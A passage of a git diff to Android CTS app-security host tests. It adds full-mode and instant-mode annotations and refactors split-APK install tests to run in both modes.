@@ -36,6 +37,7 @@
/**
* Tests for Keyset based features.
*/
+@AppModeFull // TODO: Needs porting to instant
public class KeySetHostTest extends DeviceTestCase implements IBuildReceiver {
private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
index 15c3d3c..e1d913e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -27,6 +28,7 @@
/**
* Test that install of apps using major version codes is being handled properly.
*/
+@AppModeFull // TODO: Needs porting to instant
public class MajorVersionTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
private static final String PKG = "com.android.cts.majorversion";
private static final String APK_000000000000ffff = "CtsMajorVersion000000000000ffff.apk";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index cf903db..b4d6877 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -15,11 +15,13 @@
*/
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+@AppModeFull // TODO: Needs porting to instant
public class OverlayHostTest extends DeviceTestCase implements IBuildReceiver {
private static final String PKG = "com.android.cts.overlayapp";
private static final String APK = "CtsOverlayApp.apk";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
index 680798a..8e409bb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -52,6 +53,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testResolveOrderedActivity() throws Exception {
getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
Utils.runDeviceTests(getDevice(), TINY_PKG,
@@ -60,6 +62,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testResolveOrderedService() throws Exception {
getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
Utils.runDeviceTests(getDevice(), TINY_PKG,
@@ -68,6 +71,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testResolveOrderedReceiver() throws Exception {
getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
Utils.runDeviceTests(getDevice(), TINY_PKG,
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index 5bb70d1..ffce613 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AppModeFull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -66,6 +67,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testUninstalledPackageVisibility() throws Exception {
if (!mSupportsMultiUser) {
return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index e4b0f09..3d270b90 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -30,6 +31,7 @@
* Set of tests that verify behavior of runtime permissions, including both
* dynamic granting and behavior of legacy apps.
*/
+@AppModeFull // TODO: Needs porting to instant
public class PermissionsHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
private static final String USES_PERMISSION_PKG = "com.android.cts.usepermission";
private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 48a8ac7..83a22cf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.SecurityTest;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -36,6 +37,7 @@
/**
* Tests for APK signature verification during installation.
*/
+@AppModeFull // TODO: Needs porting to instant
public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver {
private static final String TEST_PKG = "android.appsecurity.cts.tinyapp";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index 66cee05..5f59d34 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
import com.android.tradefed.build.IBuildInfo;
@@ -31,6 +32,7 @@
/**
* Tests that verify intent filters.
*/
+@AppModeFull // TODO: Needs porting to instant
public class PrivilegedUpdateTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
private static final String TAG = "PrivilegedUpdateTests";
private static final String SHIM_PKG = "com.android.cts.priv.ctsshim";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
index 96992bf..b40d806 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
@@ -16,9 +16,12 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
+
/**
* Set of tests that verify behavior of the Scoped Directory access API.
*/
+@AppModeFull // TODO: Needs porting to instant
public class ScopedDirectoryAccessTest extends DocumentsTestCase {
public void testInvalidPath() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index acec1fb..f8841cb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -16,6 +16,8 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceTestCase;
@@ -35,6 +37,7 @@
static final String PKG = "com.android.cts.splitapp";
static final String CLASS = PKG + ".SplitAppTest";
+ static final String CLASS_NO_RESTART = PKG_NO_RESTART + ".NoRestartTest";
static final String APK = "CtsSplitApp.apk";
@@ -111,19 +114,51 @@
getDevice().uninstallPackage(PKG_NO_RESTART);
}
- public void testSingleBase() throws Exception {
- new InstallMultiple().addApk(APK).run();
+ @AppModeInstant
+ public void testSingleBaseInstant() throws Exception {
+ testSingleBase(true);
+ }
+
+ @AppModeFull
+ public void testSingleBaseFull() throws Exception {
+ testSingleBase(false);
+ }
+
+ private void testSingleBase(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testSingleBase");
}
- public void testDensitySingle() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_mdpi).run();
+ @AppModeInstant
+ public void testDensitySingleInstant() throws Exception {
+ testDensitySingle(true);
+ }
+
+ @AppModeFull
+ public void testDensitySingleFull() throws Exception {
+ testDensitySingle(false);
+ }
+
+ private void testDensitySingle(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_mdpi)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testDensitySingle");
}
- public void testDensityAll() throws Exception {
+ @AppModeInstant
+ public void testDensityAllInstant() throws Exception {
+ testDensityAll(true);
+ }
+
+ @AppModeFull
+ public void testDensityAllFull() throws Exception {
+ testDensityAll(false);
+ }
+
+ private void testDensityAll(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_mdpi).addApk(APK_hdpi).addApk(APK_xhdpi)
- .addApk(APK_xxhdpi).run();
+ .addApk(APK_xxhdpi).addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testDensityAll");
}
@@ -131,12 +166,28 @@
* Install first with low-resolution resources, then add a split that offers
* higher-resolution resources.
*/
- public void testDensityBest() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_mdpi).run();
+ @AppModeInstant
+ public void testDensityBestInstant() throws Exception {
+ testDensityBest(true);
+ }
+
+ /**
+ * Install first with low-resolution resources, then add a split that offers
+ * higher-resolution resources.
+ */
+ @AppModeFull
+ public void testDensityBestFull() throws Exception {
+ testDensityBest(false);
+ }
+
+ private void testDensityBest(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_mdpi)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testDensityBest1");
// Now splice in an additional split which offers better resources
- new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi).run();
+ new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testDensityBest2");
}
@@ -144,13 +195,39 @@
* Verify that an API-based split can change enabled/disabled state of
* manifest elements.
*/
- public void testApi() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_v7).run();
+ @AppModeInstant
+ public void testApiInstant() throws Exception {
+ testApi(true);
+ }
+
+ /**
+ * Verify that an API-based split can change enabled/disabled state of
+ * manifest elements.
+ */
+ @AppModeFull
+ public void testApiFull() throws Exception {
+ testApi(false);
+ }
+
+ private void testApi(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_v7)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testApi");
}
- public void testLocale() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr).run();
+ @AppModeInstant
+ public void testLocaleInstant() throws Exception {
+ testLocale(true);
+ }
+
+ @AppModeFull
+ public void testLocaleFull() throws Exception {
+ testLocale(false);
+ }
+
+ private void testLocale(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testLocale");
}
@@ -158,12 +235,27 @@
* Install test app with <em>single</em> split that exactly matches the
* currently active ABI. This also explicitly forces ABI when installing.
*/
- public void testNativeSingle() throws Exception {
+ @AppModeInstant
+ public void testNativeSingleInstant() throws Exception {
+ testNativeSingle(true);
+ }
+
+ /**
+ * Install test app with <em>single</em> split that exactly matches the
+ * currently active ABI. This also explicitly forces ABI when installing.
+ */
+ @AppModeFull
+ public void testNativeSingleFull() throws Exception {
+ testNativeSingle(false);
+ }
+
+ private void testNativeSingle(boolean instant) throws Exception {
final String abi = mAbi.getName();
final String apk = ABI_TO_APK.get(abi);
assertNotNull("Failed to find APK for ABI " + abi, apk);
- new InstallMultiple().addApk(APK).addApk(apk).run();
+ new InstallMultiple().addApk(APK).addApk(apk)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testNative");
}
@@ -173,12 +265,29 @@
* installing, instead exercising the system's ability to choose the ABI
* through inspection of the installed app.
*/
- public void testNativeSingleNatural() throws Exception {
+ @AppModeInstant
+ public void testNativeSingleNaturalInstant() throws Exception {
+ testNativeSingleNatural(true);
+ }
+
+ /**
+ * Install test app with <em>single</em> split that exactly matches the
+ * currently active ABI. This variant <em>does not</em> force the ABI when
+ * installing, instead exercising the system's ability to choose the ABI
+ * through inspection of the installed app.
+ */
+ @AppModeFull
+ public void testNativeSingleNaturalFull() throws Exception {
+ testNativeSingleNatural(false);
+ }
+
+ private void testNativeSingleNatural(boolean instant) throws Exception {
final String abi = mAbi.getName();
final String apk = ABI_TO_APK.get(abi);
assertNotNull("Failed to find APK for ABI " + abi, apk);
- new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk).run();
+ new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testNative");
}
@@ -186,13 +295,18 @@
* Install test app with <em>all</em> possible ABI splits. This also
* explicitly forces ABI when installing.
*/
- public void testNativeAll() throws Exception {
- final InstallMultiple inst = new InstallMultiple().addApk(APK);
- for (String apk : ABI_TO_APK.values()) {
- inst.addApk(apk);
- }
- inst.run();
- runDeviceTests(PKG, CLASS, "testNative");
+ @AppModeInstant
+ public void testNativeAllInstant() throws Exception {
+ testNativeAll(true, false);
+ }
+
+ /**
+ * Install test app with <em>all</em> possible ABI splits. This also
+ * explicitly forces ABI when installing.
+ */
+ @AppModeFull
+ public void testNativeAllFull() throws Exception {
+ testNativeAll(false, false);
}
/**
@@ -201,88 +315,269 @@
* system's ability to choose the ABI through inspection of the installed
* app.
*/
- public void testNativeAllNatural() throws Exception {
- final InstallMultiple inst = new InstallMultiple().useNaturalAbi().addApk(APK);
+ @AppModeInstant
+ public void testNativeAllNaturalInstant() throws Exception {
+ testNativeAll(true, true);
+ }
+
+ /**
+ * Install test app with <em>all</em> possible ABI splits. This variant
+ * <em>does not</em> force the ABI when installing, instead exercising the
+ * system's ability to choose the ABI through inspection of the installed
+ * app.
+ */
+ @AppModeFull
+ public void testNativeAllNaturalFull() throws Exception {
+ testNativeAll(false, true);
+ }
+
+ private void testNativeAll(boolean instant, boolean natural) throws Exception {
+ final InstallMultiple inst = new InstallMultiple().addApk(APK);
for (String apk : ABI_TO_APK.values()) {
inst.addApk(apk);
}
+ if (instant) {
+ inst.addArg("--instant");
+ }
+ if (natural) {
+ inst.useNaturalAbi();
+ }
inst.run();
runDeviceTests(PKG, CLASS, "testNative");
}
- public void testDuplicateBase() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK).runExpectingFailure();
+ @AppModeInstant
+ public void testDuplicateBaseInstant() throws Exception {
+ testDuplicateBase(true);
}
+ @AppModeFull
+ public void testDuplicateBaseFull() throws Exception {
+ testDuplicateBase(false);
+ }
+
+ private void testDuplicateBase(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK)
+ .addArg(instant ? "--instant" : "").runExpectingFailure();
+ }
+
+ @AppModeInstant
public void testDuplicateSplit() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_v7).addApk(APK_v7).runExpectingFailure();
+ testDuplicateSplit(true);
}
- public void testDiffCert() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_DIFF_CERT_v7).runExpectingFailure();
+ @AppModeFull
+ public void testDuplicateSplitFull() throws Exception {
+ testDuplicateSplit(false);
}
- public void testDiffCertInherit() throws Exception {
- new InstallMultiple().addApk(APK).run();
- new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_CERT_v7).runExpectingFailure();
+ private void testDuplicateSplit(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_v7).addApk(APK_v7)
+ .addArg(instant ? "--instant" : "").runExpectingFailure();
}
- public void testDiffVersion() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_DIFF_VERSION_v7).runExpectingFailure();
+ @AppModeInstant
+ public void testDiffCertInstant() throws Exception {
+ testDiffCert(true);
}
- public void testDiffVersionInherit() throws Exception {
- new InstallMultiple().addApk(APK).run();
- new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_VERSION_v7).runExpectingFailure();
+ @AppModeFull
+ public void testDiffCertFull() throws Exception {
+ testDiffCert(false);
}
- public void testDiffRevision() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7).run();
+ private void testDiffCert(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_DIFF_CERT_v7)
+ .addArg(instant ? "--instant" : "").runExpectingFailure();
+ }
+
+ @AppModeInstant
+ public void testDiffCertInheritInstant() throws Exception {
+ testDiffCertInherit(true);
+ }
+
+ @AppModeFull
+ public void testDiffCertInheritFull() throws Exception {
+ testDiffCertInherit(false);
+ }
+
+ private void testDiffCertInherit(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK) .addArg(instant ? "--instant" : "").run();
+ new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_CERT_v7)
+ .addArg(instant ? "--instant" : "").runExpectingFailure();
+ }
+
+ @AppModeInstant
+ public void testDiffVersionInstant() throws Exception {
+ testDiffVersion(true);
+ }
+
+ @AppModeFull
+ public void testDiffVersionFull() throws Exception {
+ testDiffVersion(false);
+ }
+
+ private void testDiffVersion(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_DIFF_VERSION_v7)
+ .addArg(instant ? "--instant" : "").runExpectingFailure();
+ }
+
+ @AppModeInstant
+ public void testDiffVersionInheritInstant() throws Exception {
+ testDiffVersionInherit(true);
+ }
+
+ @AppModeFull
+ public void testDiffVersionInheritFull() throws Exception {
+ testDiffVersionInherit(false);
+ }
+
+ private void testDiffVersionInherit(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addArg(instant ? "--instant" : "").run();
+ new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_VERSION_v7)
+ .addArg(instant ? "--instant" : "").runExpectingFailure();
+ }
+
+ @AppModeInstant
+ public void testDiffRevisionInstant() throws Exception {
+ testDiffRevision(true);
+ }
+
+ @AppModeFull
+ public void testDiffRevisionFull() throws Exception {
+ testDiffRevision(false);
+ }
+
+ private void testDiffRevision(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testRevision0_12");
}
- public void testDiffRevisionInheritBase() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_v7).run();
+ @AppModeInstant
+ public void testDiffRevisionInheritBaseInstant() throws Exception {
+ testDiffRevisionInheritBase(true);
+ }
+
+ @AppModeFull
+ public void testDiffRevisionInheritBaseFull() throws Exception {
+ testDiffRevisionInheritBase(false);
+ }
+
+ private void testDiffRevisionInheritBase(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_v7)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testRevision0_0");
- new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7).run();
+ new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testRevision0_12");
}
- public void testDiffRevisionInheritSplit() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_v7).run();
+ @AppModeInstant
+ public void testDiffRevisionInheritSplitInstant() throws Exception {
+ testDiffRevisionInheritSplit(true);
+ }
+
+ @AppModeFull
+ public void testDiffRevisionInheritSplitFull() throws Exception {
+ testDiffRevisionInheritSplit(false);
+ }
+
+ private void testDiffRevisionInheritSplit(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_v7)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testRevision0_0");
- new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION).run();
+ new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testRevision12_0");
}
- public void testDiffRevisionDowngrade() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7).run();
- new InstallMultiple().inheritFrom(PKG).addApk(APK_v7).runExpectingFailure();
+ @AppModeInstant
+ public void testDiffRevisionDowngradeInstant() throws Exception {
+ testDiffRevisionDowngrade(true);
}
- public void testFeatureBase() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_FEATURE).run();
+ @AppModeFull
+ public void testDiffRevisionDowngradeFull() throws Exception {
+ testDiffRevisionDowngrade(false);
+ }
+
+ private void testDiffRevisionDowngrade(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
+ .addArg(instant ? "--instant" : "").run();
+ new InstallMultiple().inheritFrom(PKG).addApk(APK_v7)
+ .addArg(instant ? "--instant" : "").runExpectingFailure();
+ }
+
+ @AppModeInstant
+ public void testFeatureBaseInstant() throws Exception {
+ testFeatureBase(true);
+ }
+
+ @AppModeFull
+ public void testFeatureBaseFull() throws Exception {
+ testFeatureBase(false);
+ }
+
+ private void testFeatureBase(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_FEATURE)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testFeatureBase");
}
- public void testFeatureApi() throws Exception {
- new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7).run();
+ @AppModeInstant
+ public void testFeatureApiInstant() throws Exception {
+ testFeatureApiInstant(true);
+ }
+
+ @AppModeFull
+ public void testFeatureApiFull() throws Exception {
+ testFeatureApiInstant(false);
+ }
+
+ private void testFeatureApiInstant(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testFeatureApi");
}
+ @AppModeFull
+ @AppModeInstant
public void testInheritUpdatedBase() throws Exception {
// TODO: flesh out this test
}
+ @AppModeFull
+ @AppModeInstant
public void testInheritUpdatedSplit() throws Exception {
// TODO: flesh out this test
}
- public void testFeatureWithoutRestart() throws Exception {
+ @AppModeInstant
+ public void testFeatureWithoutRestartInstant() throws Exception {
+ testFeatureWithoutRestart(true);
+ }
+
+ @AppModeFull
+ public void testFeatureWithoutRestartFull() throws Exception {
+ testFeatureWithoutRestart(false);
+ }
+
+ private void testFeatureWithoutRestart(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).run();
- new InstallMultiple().addApk(APK_NO_RESTART_BASE).run();
+
+ new InstallMultiple().addApk(APK_NO_RESTART_BASE)
+ .addArg(instant ? "--instant" : "").run();
+
+ if (instant) {
+ // Poke the full app so it can see the instant app.
+ runDeviceTests(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
+ }
+
runDeviceTests(PKG, CLASS, "testBaseInstalled");
+
new InstallMultiple()
+ .addArg(instant ? "--instant" : "")
.addArg("--dont-kill")
.inheritFrom(PKG_NO_RESTART)
.addApk(APK_NO_RESTART_FEATURE)
@@ -293,10 +588,25 @@
/**
* Verify that installing a new version of app wipes code cache.
*/
- public void testClearCodeCache() throws Exception {
- new InstallMultiple().addApk(APK).run();
+ @AppModeInstant
+ public void testClearCodeCacheInstant() throws Exception {
+ testClearCodeCache(true);
+ }
+
+ /**
+ * Verify that installing a new version of app wipes code cache.
+ */
+ @AppModeFull
+ public void testClearCodeCacheFull() throws Exception {
+ testClearCodeCache(false);
+ }
+
+ private void testClearCodeCache(boolean instant) throws Exception {
+ new InstallMultiple().addApk(APK)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testCodeCacheWrite");
- new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION).run();
+ new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION)
+ .addArg(instant ? "--instant" : "").run();
runDeviceTests(PKG, CLASS, "testCodeCacheRead");
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index 38f7347..7c64324 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.result.TestDescription;
@@ -73,11 +74,13 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerify() throws Exception {
Utils.runDeviceTests(getDevice(), PKG_STATS, CLASS_STATS, "testVerify");
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyAppStats() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -96,6 +99,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyAppQuota() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testVerifyQuotaApi", user);
@@ -103,6 +107,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyAppAllocate() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testVerifyAllocateApi", user);
@@ -110,6 +115,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifySummary() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifySummary", user);
@@ -117,6 +123,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyStats() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStats", user);
@@ -124,6 +131,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyStatsMultiple() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -138,6 +146,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyStatsExternal() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternal", user);
@@ -145,6 +154,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyStatsExternalConsistent() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternalConsistent", user);
@@ -152,6 +162,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testVerifyCategory() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyCategory", user);
@@ -159,6 +170,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testCache() throws Exception {
// To make the cache clearing logic easier to verify, ignore any cache
// and low space reserved space.
@@ -185,6 +197,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testFullDisk() throws Exception {
// Clear all other cached and external storage data to give ourselves a
// clean slate to test against
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index 4afeb9bf..a8c3dd9 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -28,6 +29,7 @@
* Set of tests that verify behavior of runtime permissions, including both
* dynamic granting and behavior of legacy apps.
*/
+@AppModeFull // TODO: Needs porting to instant
public class UsesLibraryHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
private static final String PKG = "com.android.cts.useslibrary";
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
similarity index 64%
copy from tests/signature/api-check/hidden-api-whitelist/Android.mk
copy to hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
